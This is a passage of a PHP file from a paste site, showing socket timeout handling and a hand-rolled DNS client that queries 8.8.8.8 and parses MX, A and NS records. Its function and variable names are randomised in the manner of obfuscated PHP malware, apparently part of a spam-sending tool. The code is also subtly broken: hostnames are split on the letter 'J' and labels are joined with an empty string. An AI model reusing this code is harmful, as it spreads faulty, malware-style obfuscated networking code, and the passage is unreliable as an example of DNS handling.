  707.         if (@feof($fsock)) {
  708.             return FALSE;
  709.         }
  710.         $socketData = @fwrite($fsock, $data);
  711.     }
  712.     return $socketData;
  713. }
  714. function wdtjf68($r76, $fsock, $timeout)
  715. {
  716.     if ($fsock == FALSE) {
  717.         return FALSE;
  718.     }
  719.     if (constant("SOCKET_TYPE") == constant("SOCKET_TYPE_SOCKET")) {
  720.         @socket_set_option($fsock, SOL_SOCKET, SO_RCVTIMEO, array(
  721.             "sec" => $timeout,
  722.             "usec" => 0
  723.         ));
  724.         @socket_set_option($fsock, SOL_SOCKET, SO_SNDTIMEO, array(
  725.             "sec" => $timeout,
  726.             "usec" => 0
  727.         ));
  728.     } else {
  729.         @stream_set_timeout($fsock, $timeout);
  730.     }
  731.     return TRUE;
  732. }
  733. function resolveDnsName($r76, $hostname, $jvanz2)
  734. {
  735.     $errno = 0;
  736.     $errstr = "";
  737.     $fsock = socketFactory($r76, FALSE, constant("SOCKET_PROTO_UDP"), "8.8.8.8", 53, 10, $errno, $errstr);
  738.     if (!$fsock) {
  739.         return FALSE;
  740.     }
  741.     $lsxth41 = rand(0x0001, 0xFFFE);
  742.     $uamee6  = explode("J", $hostname);
  743.     $payload = pack("nnnnnn", $lsxth41, 0x0100, 0x0001, 0x0000, 0x0000, 0x0000);
  744.     foreach ($uamee6 as $sahcc1) {
  745.         $payload .= pack("Ca*", strlen($sahcc1), $sahcc1);
  746.     }
  747.     $payload .= pack("Cnn", 0x00, $jvanz2, 0x0001);
  748.     $socketStatus = write_socket_data($r76, $fsock, $payload, $errno, $errstr);
  749.     if (!$socketStatus || $socketStatus != strlen($payload)) {
  750.         close_connection($r76, $fsock);
  751.         return FALSE;
  752.     }
  753.     $dnsResponse = read_socket_data($r76, $fsock, 4086, $errno, $errstr);
  754.     if ($dnsResponse == FALSE || strlen($dnsResponse) < 12) {
  755.         close_connection($r76, $fsock);
  756.         return FALSE;
  757.     }
  758.     $eynrg66 = unpack("ntid/nflags/nque/nans/nauth/nadd", substr($dnsResponse, 0, 12));
  759.     $zjthw11 = 12;
  760.     $dnsData = array(
  761.         "header" => $eynrg66
  762.     );
  763.     for ($i = constant("DNS_STEP_QESTION"); $i <= constant("DNS_STEP_ADDITIONAL"); $i++) {
  764.         $trxcp25 = '';
  765.         switch ($i) {
  766.             case constant("DNS_STEP_QESTION"):
  767.                 $trxcp25 = "que";
  768.                 break;
  769.             case constant("DNS_STEP_ANSWER"):
  770.                 $trxcp25 = "ans";
  771.                 break;
  772.             case constant("DNS_STEP_AUTHORITY"):
  773.                 $trxcp25 = "auth";
  774.                 break;
  775.             case constant("DNS_STEP_ADDITIONAL"):
  776.                 $trxcp25 = "add";
  777.                 break;
  778.         }
  779.         for ($ybjpw87 = 0; $ybjpw87 < $eynrg66[$trxcp25]; $ybjpw87++) {
  780.             $dnsRecordData["name"] = cgzhg7($r76, $zjthw11, $dnsResponse);
  781.             if ($i == constant("DNS_STEP_QESTION")) {
  782.                 $dnsRecordData = array_merge($dnsRecordData, unpack("ntype/nclass", substr($dnsResponse, $zjthw11, 4)));
  783.                 $zjthw11 += 4;
  784.             } else {
  785.                 $dnsRecordData = array_merge($dnsRecordData, unpack("ntype/nclass/Nttl/ndatalength", substr($dnsResponse, $zjthw11, 10)));
  786.                 $zjthw11 += 10;
  787.                 switch ($dnsRecordData["type"]) {
  788.                     case constant("DNS_TYPE_MX"):
  789.                         $dnsRecordData = array_merge($dnsRecordData, unpack("npreference", substr($dnsResponse, $zjthw11, 2)));
  790.                         $zjthw11 += 2;
  791.                         $dnsRecordData["data"] = cgzhg7($r76, $zjthw11, $dnsResponse);
  792.                         break;
  793.                     case constant("DNS_TYPE_A"):
  794.                         $dnsRecordData = array_merge($dnsRecordData, unpack("Ndata", substr($dnsResponse, $zjthw11, 4)));
  795.                         $zjthw11 += 4;
  796.                         $dnsRecordData["ip"] = long2ip($dnsRecordData["data"]);
  797.                         break;
  798.                     case constant("DNS_TYPE_NS"):
  799.                         $dnsRecordData["data"] = cgzhg7($r76, $zjthw11, $dnsResponse);
  800.                         break;
  801.                     default:
  802.                         $zjthw11 += $dnsRecordData["datalength"];
  803.                 }
  804.             }
  805.             $dnsData[$trxcp25][] = $dnsRecordData;
  806.         }
  807.     }
  808.     return $dnsData;
  809. }
  810. function cgzhg7($r76, &$kwgra59, $dnsResponse)
  811. {
  812.     $data = "";
  813.     $svrpc42 = $kwgra59;
  814.     while (ord($dnsResponse[$svrpc42]) != 0) {
  815.         if (ord($dnsResponse[$svrpc42]) == 0xC0) {
  816.             if ($svrpc42 >= $kwgra59) {
  817.                 $kwgra59 += 2;
  818.             }
  819.             $svrpc42 = ord($dnsResponse[$svrpc42 + 1]);
  820.             continue;
  821.         }
  822.         if (strlen($data) > 0) {
  823.             $data .= "";
  824.         }
  825.         $data .= substr($dnsResponse, $svrpc42 + 1, ord($dnsResponse[$svrpc42]));
  826.         $svrpc42 += ord($dnsResponse[$svrpc42]) + 1;
  827.         if ($svrpc42 > $kwgra59) {
  828.             $kwgra59 = $svrpc42;
  829.         }
  830.     }
  831.     if ($svrpc42 >= $kwgra59) {
  832.         $kwgra59 += 1;
  833.     }
  834.     return $data;
  835. }

Reply to "Untitled"

Here you can reply to the paste above